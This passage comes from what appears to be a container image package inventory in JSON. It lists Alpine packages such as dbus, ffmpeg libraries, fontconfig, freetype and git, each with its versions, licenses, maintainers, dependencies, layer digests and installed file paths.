"PURL": "pkg:apk/alpine/dbus-daemon-launch-helper@1.16.2-r2?arch=x86_64\u0026distro=3.24.1", "UID": "d3c7d67dae0dc41b" }, "Version": "1.16.2-r2", "Arch": "x86_64", "SrcName": "dbus", "SrcVersion": "1.16.2-r2", "Licenses": [ "AFL-2.1", "GPL-2.0-or-later" ], "Maintainer": "team/alpine-desktop \u003cachill@achill.org\u003e", "DependsOn": [ "dbus-libs@1.16.2-r2", "libexpat@2.8.1-r0", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:f49b3ddf3793c9c6ef8377bccaaddc143c85bcc1", "InstalledFiles": [ "usr/libexec/dbus-daemon-launch-helper" ], "AnalyzedBy": "apk" }, { "ID": "dbus-libs@1.16.2-r2", "Name": "dbus-libs", "Identifier": { "PURL": "pkg:apk/alpine/dbus-libs@1.16.2-r2?arch=x86_64\u0026distro=3.24.1", "UID": "b288d7f3c6ffa475" }, "Version": "1.16.2-r2", "Arch": "x86_64", "SrcName": "dbus", "SrcVersion": "1.16.2-r2", "Licenses": [ "AFL-2.1", "GPL-2.0-or-later" ], "Maintainer": "team/alpine-desktop \u003cachill@achill.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:2ccb761ab04dfad79c15d25a67c8ec7944b9c5cd", "InstalledFiles": [ "usr/lib/libdbus-1.so.3", "usr/lib/libdbus-1.so.3.38.3" ], "AnalyzedBy": "apk" }, { "ID": "eudev-libs@3.2.14-r6", "Name": "eudev-libs", "Identifier": { "PURL": "pkg:apk/alpine/eudev-libs@3.2.14-r6?arch=x86_64\u0026distro=3.24.1", "UID": "c4c37ce2aac79b92" }, "Version": "3.2.14-r6", "Arch": "x86_64", "SrcName": "eudev", "SrcVersion": "3.2.14-r6", "Licenses": [ "GPL-2.0-or-later" ], "Maintainer": "Ariadne Conill \u003cariadne@dereferenced.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:10adc67f820312e617ae4474095ede961d330002", "InstalledFiles": [ "usr/lib/libudev.so.1", "usr/lib/libudev.so.1.6.3" ], "AnalyzedBy": "apk" }, { "ID": "ffmpeg@8.1.2-r0", "Name": "ffmpeg", "Identifier": { "PURL": "pkg:apk/alpine/ffmpeg@8.1.2-r0?arch=x86_64\u0026distro=3.24.1", "UID": "5a42c622af882920" }, "Version": "8.1.2-r0", "Arch": "x86_64", "SrcName": "ffmpeg", "SrcVersion": "8.1.2-r0", "Licenses": [ "GPL-2.0-or-later", "LGPL-2.1-or-later" ], "Maintainer": "Achill Gilgenast \u003cachill@achill.org\u003e", "DependsOn": [ "ffmpeg-libavcodec@8.1.2-r0", "ffmpeg-libavdevice@8.1.2-r0", "ffmpeg-libavfilter@8.1.2-r0", "ffmpeg-libavformat@8.1.2-r0", "ffmpeg-libavutil@8.1.2-r0", "ffmpeg-libswresample@8.1.2-r0", "ffmpeg-libswscale@8.1.2-r0", "libgcc@15.2.0-r5", "musl@1.2.6-r2", "zlib@1.3.2-r0" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:8f1bdb19aad05c896fdca8d9671af8928954b70e", "InstalledFiles": [ "usr/bin/ffmpeg", "usr/bin/ffprobe", "usr/bin/qt-faststart", "usr/share/ffmpeg/ffprobe.xsd", "usr/share/ffmpeg/libvpx-1080p.ffpreset", "usr/share/ffmpeg/libvpx-1080p50_60.ffpreset", "usr/share/ffmpeg/libvpx-360p.ffpreset", "usr/share/ffmpeg/libvpx-720p.ffpreset", "usr/share/ffmpeg/libvpx-720p50_60.ffpreset" ], "AnalyzedBy": "apk" }, { "ID": "ffmpeg-libavcodec@8.1.2-r0", "Name": "ffmpeg-libavcodec", "Identifier": { "PURL": "pkg:apk/alpine/ffmpeg-libavcodec@8.1.2-r0?arch=x86_64\u0026distro=3.24.1", "UID": "65c0ae731fbbfd45" }, "Version": "8.1.2-r0", "Arch": "x86_64", "SrcName": "ffmpeg", "SrcVersion": "8.1.2-r0", "Licenses": [ "GPL-2.0-or-later", "LGPL-2.1-or-later" ], "Maintainer": "Achill Gilgenast \u003cachill@achill.org\u003e", "DependsOn": [ "aom-libs@3.14.1-r0", "ffmpeg-libavutil@8.1.2-r0", "ffmpeg-libswresample@8.1.2-r0", "lame-libs@3.100-r5", "libSvtAv1Enc@4.1.0-r0", "libdav1d@1.5.3-r0", "libjxl@0.11.2-r1", "libtheora@1.2.0-r1", "libva@2.23.0-r0", "libvorbis@1.3.7-r2", "libvpl@2.15.0-r1", "libvpx@1.15.2-r1", "libwebp@1.6.0-r0", "libwebpmux@1.6.0-r0", "musl@1.2.6-r2", "opus@1.6.1-r0", "rav1e-libs@0.8.1-r0", "x264-libs@0.164.3108-r1", "x265-libs@4.1-r0", "xvidcore@1.3.7-r2", "zlib@1.3.2-r0" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:95ae5b6d2c19dbc92fe49dd7c120ccd2d094d029", "InstalledFiles": [ "usr/lib/libavcodec.so.62", "usr/lib/libavcodec.so.62.28.102" ], "AnalyzedBy": "apk" }, { "ID": "ffmpeg-libavdevice@8.1.2-r0", "Name": "ffmpeg-libavdevice", "Identifier": { "PURL": "pkg:apk/alpine/ffmpeg-libavdevice@8.1.2-r0?arch=x86_64\u0026distro=3.24.1", "UID": "918f2d9f41275df2" }, "Version": "8.1.2-r0", "Arch": "x86_64", "SrcName": "ffmpeg", "SrcVersion": "8.1.2-r0", "Licenses": [ "GPL-2.0-or-later", "LGPL-2.1-or-later" ], "Maintainer": "Achill Gilgenast \u003cachill@achill.org\u003e", "DependsOn": [ "alsa-lib@1.2.15.3-r0", "ffmpeg-libavcodec@8.1.2-r0", "ffmpeg-libavfilter@8.1.2-r0", "ffmpeg-libavformat@8.1.2-r0", "ffmpeg-libavutil@8.1.2-r0", "libdrm@2.4.134-r0", "libpulse@17.0-r7", "libxcb@1.17.0-r2", "musl@1.2.6-r2", "v4l-utils-libs@1.32.0-r1" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:116e7f4cc19dd46aba4154a496619ff80c329df3", "InstalledFiles": [ "usr/lib/libavdevice.so.62", "usr/lib/libavdevice.so.62.3.102" ], "AnalyzedBy": "apk" }, { "ID": "ffmpeg-libavfilter@8.1.2-r0", "Name": "ffmpeg-libavfilter", "Identifier": { "PURL": "pkg:apk/alpine/ffmpeg-libavfilter@8.1.2-r0?arch=x86_64\u0026distro=3.24.1", "UID": "d8fa194af648d92d" }, "Version": "8.1.2-r0", "Arch": "x86_64", "SrcName": "ffmpeg", "SrcVersion": "8.1.2-r0", "Licenses": [ "GPL-2.0-or-later", "LGPL-2.1-or-later" ], "Maintainer": "Achill Gilgenast \u003cachill@achill.org\u003e", "DependsOn": [ "ffmpeg-libavcodec@8.1.2-r0", "ffmpeg-libavformat@8.1.2-r0", "ffmpeg-libavutil@8.1.2-r0", "ffmpeg-libswresample@8.1.2-r0", "ffmpeg-libswscale@8.1.2-r0", "fontconfig@2.17.1-r1", "freetype@2.14.3-r0", "fribidi@1.0.16-r3", "harfbuzz@13.2.1-r0", "libass@0.17.4-r1", "libplacebo@7.360.1-r0", "libva@2.23.0-r0", "libvpl@2.15.0-r1", "libzmq@4.3.5-r2", "lilv-libs@0.24.26-r1", "musl@1.2.6-r2", "shaderc@2026.1-r0", "vidstab@1.1.1-r0", "zimg@3.0.6-r0", "zlib@1.3.2-r0" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:228e45f52d7524dc568e1025ae6ae2b7c891a06a", "InstalledFiles": [ "usr/lib/libavfilter.so.11", "usr/lib/libavfilter.so.11.14.102" ], "AnalyzedBy": "apk" }, { "ID": "ffmpeg-libavformat@8.1.2-r0", "Name": "ffmpeg-libavformat", "Identifier": { "PURL": "pkg:apk/alpine/ffmpeg-libavformat@8.1.2-r0?arch=x86_64\u0026distro=3.24.1", "UID": "a502855ac0bc1f84" }, "Version": "8.1.2-r0", "Arch": "x86_64", "SrcName": "ffmpeg", "SrcVersion": "8.1.2-r0", "Licenses": [ "GPL-2.0-or-later", "LGPL-2.1-or-later" ], "Maintainer": "Achill Gilgenast \u003cachill@achill.org\u003e", "DependsOn": [ "ffmpeg-libavcodec@8.1.2-r0", "ffmpeg-libavutil@8.1.2-r0", "libbluray@1.4.0-r0", "libbz2@1.0.8-r6", "libcrypto3@3.5.7-r0", "libdvdnav@6.1.1-r1", "libdvdread@6.1.3-r2", "libopenmpt@0.8.7-r0", "librist@0.2.15-r0", "libsrt@1.5.3-r1", "libssh@0.12.0-r0", "libssl3@3.5.7-r0", "libxml2@2.13.9-r2", "libzmq@4.3.5-r2", "musl@1.2.6-r2", "zlib@1.3.2-r0" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:6a5928999893ddf2c780b021f49c332069a4865c", "InstalledFiles": [ "usr/lib/libavformat.so.62", "usr/lib/libavformat.so.62.12.102" ], "AnalyzedBy": "apk" }, { "ID": "ffmpeg-libavutil@8.1.2-r0", "Name": "ffmpeg-libavutil", "Identifier": { "PURL": "pkg:apk/alpine/ffmpeg-libavutil@8.1.2-r0?arch=x86_64\u0026distro=3.24.1", "UID": "955a0dcb4f027cc1" }, "Version": "8.1.2-r0", "Arch": "x86_64", "SrcName": "ffmpeg", "SrcVersion": "8.1.2-r0", "Licenses": [ "GPL-2.0-or-later", "LGPL-2.1-or-later" ], "Maintainer": "Achill Gilgenast \u003cachill@achill.org\u003e", "DependsOn": [ "libcrypto3@3.5.7-r0", "libdrm@2.4.134-r0", "libva@2.23.0-r0", "libvdpau@1.5-r4", "libvpl@2.15.0-r1", "libx11@1.8.13-r0", "musl@1.2.6-r2", "zlib@1.3.2-r0" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:f2682f5b6987bfbcd733b3b8f260409705df6c4c", "InstalledFiles": [ "usr/lib/libavutil.so.60", "usr/lib/libavutil.so.60.26.102" ], "AnalyzedBy": "apk" }, { "ID": "ffmpeg-libswresample@8.1.2-r0", "Name": "ffmpeg-libswresample", "Identifier": { "PURL": "pkg:apk/alpine/ffmpeg-libswresample@8.1.2-r0?arch=x86_64\u0026distro=3.24.1", "UID": "86ee2ff525d2b2b7" }, "Version": "8.1.2-r0", "Arch": "x86_64", "SrcName": "ffmpeg", "SrcVersion": "8.1.2-r0", "Licenses": [ "GPL-2.0-or-later", "LGPL-2.1-or-later" ], "Maintainer": "Achill Gilgenast \u003cachill@achill.org\u003e", "DependsOn": [ "ffmpeg-libavutil@8.1.2-r0", "musl@1.2.6-r2", "soxr@0.1.3-r7" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:e3a6193dd06357fb9014d095f4428105df2880d0", "InstalledFiles": [ "usr/lib/libswresample.so.6", "usr/lib/libswresample.so.6.3.102" ], "AnalyzedBy": "apk" }, { "ID": "ffmpeg-libswscale@8.1.2-r0", "Name": "ffmpeg-libswscale", "Identifier": { "PURL": "pkg:apk/alpine/ffmpeg-libswscale@8.1.2-r0?arch=x86_64\u0026distro=3.24.1", "UID": "92e4ffd366d3a5b8" }, "Version": "8.1.2-r0", "Arch": "x86_64", "SrcName": "ffmpeg", "SrcVersion": "8.1.2-r0", "Licenses": [ "GPL-2.0-or-later", "LGPL-2.1-or-later" ], "Maintainer": "Achill Gilgenast \u003cachill@achill.org\u003e", "DependsOn": [ "ffmpeg-libavutil@8.1.2-r0", "musl@1.2.6-r2", "shaderc@2026.1-r0", "zlib@1.3.2-r0" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:cbb1115cd4a0b1f140ee68582fdd13c352574a59", "InstalledFiles": [ "usr/lib/libswscale.so.9", "usr/lib/libswscale.so.9.5.102" ], "AnalyzedBy": "apk" }, { "ID": "fontconfig@2.17.1-r1", "Name": "fontconfig", "Identifier": { "PURL": "pkg:apk/alpine/fontconfig@2.17.1-r1?arch=x86_64\u0026distro=3.24.1", "UID": "48370b08035c81b3" }, "Version": "2.17.1-r1", "Arch": "x86_64", "SrcName": "fontconfig", "SrcVersion": "2.17.1-r1", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "busybox-binsh@1.37.0-r31", "freetype@2.14.3-r0", "libexpat@2.8.1-r0", "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:2a28043c2b53804ee978f356124fc9630d08ef5b", "InstalledFiles": [ "etc/fonts/fonts.conf", "etc/fonts/conf.d/10-hinting-slight.conf", "etc/fonts/conf.d/10-scale-bitmap-fonts.conf", "etc/fonts/conf.d/10-sub-pixel-none.conf", "etc/fonts/conf.d/10-yes-antialias.conf", "etc/fonts/conf.d/11-lcdfilter-default.conf", "etc/fonts/conf.d/20-unhint-small-vera.conf", "etc/fonts/conf.d/30-metric-aliases.conf", "etc/fonts/conf.d/40-nonlatin.conf", "etc/fonts/conf.d/45-generic.conf", "etc/fonts/conf.d/45-latin.conf", "etc/fonts/conf.d/48-spacing.conf", "etc/fonts/conf.d/49-sansserif.conf", "etc/fonts/conf.d/50-user.conf", "etc/fonts/conf.d/51-local.conf", "etc/fonts/conf.d/60-generic.conf", "etc/fonts/conf.d/60-latin.conf", "etc/fonts/conf.d/65-fonts-persian.conf", "etc/fonts/conf.d/65-nonlatin.conf", "etc/fonts/conf.d/69-unifont.conf", "etc/fonts/conf.d/70-no-bitmaps-except-emoji.conf", "etc/fonts/conf.d/80-delicious.conf", "etc/fonts/conf.d/90-synthetic.conf", "etc/fonts/conf.d/README", "usr/bin/fc-cache", "usr/bin/fc-cat", "usr/bin/fc-conflist", "usr/bin/fc-list", "usr/bin/fc-match", "usr/bin/fc-pattern", "usr/bin/fc-query", "usr/bin/fc-scan", "usr/bin/fc-validate", "usr/lib/libfontconfig.so.1", "usr/lib/libfontconfig.so.1.16.1", "usr/share/fontconfig/conf.avail/05-reset-dirs-sample.conf", "usr/share/fontconfig/conf.avail/09-autohint-if-no-hinting.conf", "usr/share/fontconfig/conf.avail/10-autohint.conf", "usr/share/fontconfig/conf.avail/10-hinting-full.conf", "usr/share/fontconfig/conf.avail/10-hinting-medium.conf", "usr/share/fontconfig/conf.avail/10-hinting-none.conf", "usr/share/fontconfig/conf.avail/10-hinting-slight.conf", "usr/share/fontconfig/conf.avail/10-no-antialias.conf", "usr/share/fontconfig/conf.avail/10-scale-bitmap-fonts.conf", "usr/share/fontconfig/conf.avail/10-sub-pixel-bgr.conf", "usr/share/fontconfig/conf.avail/10-sub-pixel-none.conf", "usr/share/fontconfig/conf.avail/10-sub-pixel-rgb.conf", "usr/share/fontconfig/conf.avail/10-sub-pixel-vbgr.conf", "usr/share/fontconfig/conf.avail/10-sub-pixel-vrgb.conf", "usr/share/fontconfig/conf.avail/10-unhinted.conf", "usr/share/fontconfig/conf.avail/10-yes-antialias.conf", "usr/share/fontconfig/conf.avail/11-lcdfilter-default.conf", "usr/share/fontconfig/conf.avail/11-lcdfilter-legacy.conf", "usr/share/fontconfig/conf.avail/11-lcdfilter-light.conf", "usr/share/fontconfig/conf.avail/11-lcdfilter-none.conf", "usr/share/fontconfig/conf.avail/20-unhint-small-vera.conf", "usr/share/fontconfig/conf.avail/25-unhint-nonlatin.conf", "usr/share/fontconfig/conf.avail/30-metric-aliases.conf", "usr/share/fontconfig/conf.avail/35-lang-normalize.conf", "usr/share/fontconfig/conf.avail/40-nonlatin.conf", "usr/share/fontconfig/conf.avail/45-generic.conf", "usr/share/fontconfig/conf.avail/45-latin.conf", "usr/share/fontconfig/conf.avail/48-guessfamily.conf", "usr/share/fontconfig/conf.avail/48-spacing.conf", "usr/share/fontconfig/conf.avail/49-sansserif.conf", "usr/share/fontconfig/conf.avail/50-user.conf", "usr/share/fontconfig/conf.avail/51-local.conf", "usr/share/fontconfig/conf.avail/60-generic.conf", "usr/share/fontconfig/conf.avail/60-latin.conf", "usr/share/fontconfig/conf.avail/65-fonts-persian.conf", "usr/share/fontconfig/conf.avail/65-khmer.conf", "usr/share/fontconfig/conf.avail/65-nonlatin.conf", "usr/share/fontconfig/conf.avail/69-unifont.conf", "usr/share/fontconfig/conf.avail/70-no-bitmaps-and-emoji.conf", "usr/share/fontconfig/conf.avail/70-no-bitmaps-except-emoji.conf", "usr/share/fontconfig/conf.avail/70-no-bitmaps.conf", "usr/share/fontconfig/conf.avail/70-yes-bitmaps.conf", "usr/share/fontconfig/conf.avail/80-delicious.conf", "usr/share/fontconfig/conf.avail/90-synthetic.conf", "usr/share/xml/fontconfig/fonts.dtd" ], "AnalyzedBy": "apk" }, { "ID": "freetype@2.14.3-r0", "Name": "freetype", "Identifier": { "PURL": "pkg:apk/alpine/freetype@2.14.3-r0?arch=x86_64\u0026distro=3.24.1", "UID": "eae091526642ed99" }, "Version": "2.14.3-r0", "Arch": "x86_64", "SrcName": "freetype", "SrcVersion": "2.14.3-r0", "Licenses": [ "FTL", "GPL-2.0-or-later" ], "Maintainer": "Achill Gilgenast \u003cachill@achill.org\u003e", "DependsOn": [ "brotli-libs@1.2.0-r1", "libbz2@1.0.8-r6", "libpng@1.6.58-r1", "musl@1.2.6-r2", "zlib@1.3.2-r0" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:8a74de09396559a888cec101d205cf488d8a49c6", "InstalledFiles": [ "usr/lib/libfreetype.so.6", "usr/lib/libfreetype.so.6.20.6" ], "AnalyzedBy": "apk" }, { "ID": "fribidi@1.0.16-r3", "Name": "fribidi", "Identifier": { "PURL": "pkg:apk/alpine/fribidi@1.0.16-r3?arch=x86_64\u0026distro=3.24.1", "UID": "a555ba0a1af878dc" }, "Version": "1.0.16-r3", "Arch": "x86_64", "SrcName": "fribidi", "SrcVersion": "1.0.16-r3", "Licenses": [ "LGPL-2.1-or-later" ], "Maintainer": "Achill Gilgenast \u003cachill@achill.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:812fb36e14f8b51735b9c1e52367f0c38061fe92", "InstalledFiles": [ "usr/bin/fribidi", "usr/lib/libfribidi.so.0", "usr/lib/libfribidi.so.0.4.0" ], "AnalyzedBy": "apk" }, { "ID": "fstrm@0.6.1-r4", "Name": "fstrm", "Identifier": { "PURL": "pkg:apk/alpine/fstrm@0.6.1-r4?arch=x86_64\u0026distro=3.24.1", "UID": "a8ec2518d6d4eb78" }, "Version": "0.6.1-r4", "Arch": "x86_64", "SrcName": "fstrm", "SrcVersion": "0.6.1-r4", "Licenses": [ "MIT" ], "Maintainer": "Patrycja Rosa \u003calpine@ptrcnull.me\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:887e770f2073f93e7b359f2286428c024e34d6b958bf866c5aa4cb5b41195841" }, "Digest": "sha1:3f297b4f6c7c33392993c3ee499dcbff13228731", "InstalledFiles": [ "usr/lib/libfstrm.so.0", "usr/lib/libfstrm.so.0.1.0" ], "AnalyzedBy": "apk" }, { "ID": "gdbm@1.26-r0", "Name": "gdbm", "Identifier": { "PURL": "pkg:apk/alpine/gdbm@1.26-r0?arch=x86_64\u0026distro=3.24.1", "UID": "5eb1a3f86262ca77" }, "Version": "1.26-r0", "Arch": "x86_64", "SrcName": "gdbm", "SrcVersion": "1.26-r0", "Licenses": [ "GPL-3.0-or-later" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:3a1c849b0505129399362d23f774eb8460fdfce3e2539f2992f49c9e253aace1" }, "Digest": "sha1:619493d8124fe49a8ee1d8f7a1372cf7e3977337", "InstalledFiles": [ "usr/lib/libgdbm.so.6", "usr/lib/libgdbm.so.6.0.0", "usr/lib/libgdbm_compat.so.4", "usr/lib/libgdbm_compat.so.4.0.0" ], "AnalyzedBy": "apk" }, { "ID": "giflib@5.2.2-r1", "Name": "giflib", "Identifier": { "PURL": "pkg:apk/alpine/giflib@5.2.2-r1?arch=x86_64\u0026distro=3.24.1", "UID": "82fb7ad92099da32" }, "Version": "5.2.2-r1", "Arch": "x86_64", "SrcName": "giflib", "SrcVersion": "5.2.2-r1", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.6-r2" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:717ec02ba60578b17e85cb30b1b96ec4fa10e764", "InstalledFiles": [ "usr/lib/libgif.so.7", "usr/lib/libgif.so.7.2.0" ], "AnalyzedBy": "apk" }, { "ID": "git@2.54.0-r0", "Name": "git", "Identifier": { "PURL": "pkg:apk/alpine/git@2.54.0-r0?arch=x86_64\u0026distro=3.24.1", "UID": "c3f5f916915e47d8" }, "Version": "2.54.0-r0", "Arch": "x86_64", "SrcName": "git", "SrcVersion": "2.54.0-r0", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libcurl@8.20.0-r1", "libexpat@2.8.1-r0", "musl@1.2.6-r2", "pcre2@10.47-r1", "zlib@1.3.2-r0" ], "Layer": { "DiffID": "sha256:fc4fa707bdc2746898e694a68a84eac4dc945732df54d45f77123574fab300bb" }, "Digest": "sha1:2a50adaaf822865f6b0ba5da688304dc48e45bc7", "InstalledFiles": [ "usr/bin/git", "usr/bin/git-receive-pack", "usr/bin/git-shell", "usr/bin/git-upload-archive", "usr/bin/git-upload-pack", "usr/libexec/git-core/git", "usr/libexec/git-core/git-add", "usr/libexec/git-core/git-am", "usr/libexec/git-core/git-annotate", "usr/libexec/git-core/git-apply", "usr/libexec/git-core/git-archive", "usr/libexec/git-core/git-backfill", "usr/libexec/git-core/git-bisect", "usr/libexec/git-core/git-blame", "usr/libexec/git-core/git-branch", "usr/libexec/git-core/git-bugreport", "usr/libexec/git-core/git-bundle", "usr/libexec/git-core/git-cat-file", "usr/libexec/git-core/git-check-attr", "usr/libexec/git-core/git-check-ignore", "usr/libexec/git-core/git-check-mailmap", "usr/libexec/git-core/git-check-ref-format", "usr/libexec/git-core/git-checkout", "usr/libexec/git-core/git-checkout--worker", "usr/libexec/git-core/git-checkout-index", "usr/libexec/git-core/git-cherry", "usr/libexec/git-core/git-cherry-pick", "usr/libexec/git-core/git-clean", "usr/libexec/git-core/git-clone", "usr/libexec/git-core/git-column", "usr/libexec/git-core/git-commit", "usr/libexec/git-core/git-commit-graph", "usr/libexec/git-core/git-commit-tree", "usr/libexec/git-core/git-config", "usr/libexec/git-core/git-count-objects", "usr/libexec/git-core/git-credential", "usr/libexec/git-core/git-credential-cache", "usr/libexec/git-core/git-credential-cache--daemon", "usr/libexec/git-core/git-credential-store", "usr/libexec/git-core/git-describe", "usr/libexec/git-core/git-diagnose", "usr/libexec/git-core/git-diff", "usr/libexec/git-core/git-diff-files", "usr/libexec/git-core/git-diff-index", "usr/libexec/git-core/git-diff-pairs", "usr/libexec/git-core/git-diff-tree", "usr/libexec/git-core/git-difftool", "usr/libexec/git-core/git-difftool--helper", "usr/libexec/git-core/git-fast-export", "usr/libexec/git-core/git-fetch", "usr/libexec/git-core/git-fetch-pack", "usr/libexec/git-core/git-filter-branch", "usr/libexec/git-core/git-fmt-merge-msg", "usr/libexec/git-core/git-for-each-ref", "usr/libexec/git-core/git-for-each-repo", "usr/libexec/git-core/git-format-patch", "usr/libexec/git-core/git-fsck", "usr/libexec/git-core/git-fsck-objects", "usr/libexec/git-core/git-fsmonitor--daemon", "usr/libexec/git-core/git-gc", "usr/libexec/git-core/git-get-tar-commit-id", "usr/libexec/git-core/git-grep", "usr/libexec/git-core/git-gui--askyesno", "usr/libexec/git-core/git-hash-object", "usr/libexec/git-core/git-help", "usr/libexec/git-core/git-history", "usr/libexec/git-core/git-hook", "usr/libexec/git-core/git-http-fetch", "usr/libexec/git-core/git-http-push", "usr/libexec/git-core/git-index-pack", "usr/libexec/git-core/git-init", "usr/libexec/git-core/git-init-db", "usr/libexec/git-core/git-interpret-trailers", "usr/libexec/git-core/git-last-modified", "usr/libexec/git-core/git-log", "usr/libexec/git-core/git-ls-files", "usr/libexec/git-core/git-ls-remote", "usr/libexec/git-core/git-ls-tree", "usr/libexec/git-core/git-mailinfo", "usr/libexec/git-core/git-mailsplit", "usr/libexec/git-core/git-maintenance", "usr/libexec/git-core/git-merge", "usr/libexec/git-core/git-merge-base", "usr/libexec/git-core/git-merge-file", "usr/libexec/git-core/git-merge-index", "usr/libexec/git-core/git-merge-octopus", "usr/libexec/git-core/git-merge-one-file", "usr/libexec/git-core/git-merge-ours", "usr/libexec/git-core/git-merge-recursive", "usr/libexec/git-core/git-merge-resolve", "usr/libexec/git-core/git-merge-subtree", "usr/libexec/git-core/git-merge-tree", "usr/libexec/git-core/git-mergetool", "usr/libexec/git-core/git-mergetool--lib", "usr/libexec/git-core/git-mktag", "usr/libexec/git-core/git-mktree", "usr/libexec/git-core/git-multi-pack-index", "usr/libexec/git-core/git-mv", "usr/libexec/git-core/git-name-rev", "usr/libexec/git-core/git-notes", "usr/libexec/git-core/git-pack-objects", "usr/libexec/git-core/git-pack-redundant", "usr/libexec/git-core/git-pack-refs", "usr/libexec/git-core/git-patch-id", "usr/libexec/git-core/git-prune", "usr/libexec/git-core/git-prune-packed", "usr/libexec/git-core/git-pull", "usr/libexec/git-core/git-push", "usr/libexec/git-core/git-quiltimport", "usr/libexec/git-core/git-range-diff", "usr/libexec/git-core/git-read-tree", "usr/libexec/git-core/git-rebase", "usr/libexec/git-core/git-receive-pack", "usr/libexec/git-core/git-reflog", "usr/libexec/git-core/git-refs", "usr/libexec/git-core/git-remote", "usr/libexec/git-core/git-remote-ext", "usr/libexec/git-core/git-remote-fd", "usr/libexec/git-core/git-remote-ftp", "usr/libexec/git-core/git-remote-ftps", "usr/libexec/git-core/git-remote-http", "usr/libexec/git-core/git-remote-https", "usr/libexec/git-core/git-repack", "usr/libexec/git-core/git-replace", "usr/libexec/git-core/git-replay", "usr/libexec/git-core/git-repo", "usr/libexec/git-core/git-request-pull", "usr/libexec/git-core/git-rerere", "usr/libexec/git-core/git-reset", "usr/libexec/git-core/git-restore", "usr/libexec/git-core/git-rev-list", "usr/libexec/git-core/git-rev-parse", "usr/libexec/git-core/git-revert", "usr/libexec/git-core/git-rm", "usr/libexec/git-core/git-send-pack", "usr/libexec/git-core/git-sh-i18n", "usr/libexec/git-core/git-sh-i18n--envsubst", "usr/libexec/git-core/git-sh-setup", "usr/libexec/git-core/git-shortlog", "usr/libexec/git-core/git-show", "usr/libexec/git-core/git-show-branch", "usr/libexec/git-core/git-show-index", "usr/libexec/git-core/git-show-ref", "usr/libexec/git-core/git-sparse-checkout", "usr/libexec/git-core/git-stage", "usr/libexec/git-core/git-stash", "usr/libexec/git-core/git-status", "usr/libexec/git-core/git-stripspace", "usr/libexec/git-core/git-submodule", "usr/libexec/git-core/git-submodule--helper", "usr/libexec/git-core/git-switch", "usr/libexec/git-core/git-symbolic-ref", "usr/libexec/git-core/git-tag", "usr/libexec/git-core/git-unpack-file", "usr/libexec/git-core/git-unpack-objects", "usr/libexec/git-core/git-update-index", "usr/libexec/git-core/git-update-ref", "usr/libexec/git-core/git-update-server-info", "usr/libexec/git-core/git-upload-archive", "usr/libexec/git-core/git-upload-pack", "usr/libexec/git-core/git-var", "usr/libexec/git-core/git-verify-commit", "usr/libexec/git-core/git-verify-pack", "usr/libexec/git-core/git-verify-tag", "usr/libexec/git-core/git-version", "usr/libexec/git-core/git-web--browse", "usr/libexec/git-core/git-whatchanged", "usr/libexec/git-core/git-worktree", "usr/libexec/git-core/git-write-tree", "usr/libexec/git-core/mergetools/araxis", "usr/libexec/git-core/mergetools/bc", "usr/libexec/git-core/mergetools/codecompare", "usr/libexec/git-core/mergetools/deltawalker", "usr/libexec/git-core/mergetools/diffmerge", "usr/libexec/git-core/mergetools/diffuse", "usr/libexec/git-core/mergetools/ecmerge", "usr/libexec/git-core/mergetools/emerge", "usr/libexec/git-core/mergetools/examdiff", "usr/libexec/git-core/mergetools/guiffy", "usr/libexec/git-core/mergetools/gvimdiff", "usr/libexec/git-core/mergetools/kdiff3", "usr/libexec/git-core/mergetools/kompare", "usr/libexec/git-core/mergetools/meld", "usr/libexec/git-core/mergetools/nvimdiff", "usr/libexec/git-core/mergetools/opendiff", "usr/libexec/git-core/mergetools/smerge", "usr/libexec/git-core/mergetools/tkdiff", "usr/libexec/git-core/mergetools/tortoisemerge", "usr/libexec/git-core/mergetools/vimdiff", "usr/libexec/git-core/mergetools/vscode", "usr/libexec/git-core/mergetools/winmerge", 